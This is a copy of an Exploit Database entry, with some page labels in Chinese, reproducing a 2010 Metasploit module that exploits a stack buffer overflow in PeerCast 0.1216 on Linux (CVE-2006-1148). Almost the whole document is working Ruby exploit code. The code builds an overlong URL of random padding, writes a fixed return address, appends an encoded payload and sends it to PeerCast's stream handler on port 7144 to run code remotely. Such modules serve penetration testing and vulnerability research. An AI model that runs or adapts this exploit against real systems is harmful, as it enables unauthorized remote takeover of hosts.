PeerCast 0.1216 (Linux) – URL Handling Buffer Overflow (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2010-09-20
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/16855/

• ##
  # $Id: peercast_url.rb 10394 2010-09-20 08:06:27Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'PeerCast <= 0.1216 URL Handling Buffer Overflow (linux)',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in PeerCast <= v0.1216.
  				The vulnerability is caused due to a boundary error within the
  				handling of URL parameters.
  			},
  			'Author' => [ 'MC' ],
  			'License'=> BSD_LICENSE,
  			'Version'=> '$Revision: 10394 $',
  			'References' =>
  				[
  					['CVE', '2006-1148'],
  					['OSVDB', '23777'],
  					['BID', '17040'],
  					['URL', 'http://www.infigo.hr/in_focus/INFIGO-2006-03-01'],
  
  				],
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'Space'=> 200,
  					'BadChars' => "\x00\x0a\x0d\x20\x0d\x2f\x3d\x3b",
  					'MinNops'=> 64,
  				},
  			'Platform' => 'linux',
  			'Arch' => ARCH_X86,
  			'Targets'=>
  				[
  					['PeerCast v0.1212 Binary', { 'Ret' => 0x080922f7 }],
  				],
  			'DisclosureDate' => 'Mar 8 2006'))
  
  		register_options([
  			Opt::RPORT(7144)
  		], self.class)
  	end
  
  	def exploit
  		connect
  
  		pat = rand_text_alphanumeric(780)
  		pat << [target.ret].pack('V')
  		pat << payload.encoded
  
  		uri = '/stream/?' + pat
  
  		res = "GET #{uri} HTTP/1.0\r\n\r\n"
  
  		print_status("Trying target address 0x%.8x..." % target.ret)
  		sock.put(res)
  
  		handler
  		disconnect
  	end
  
  end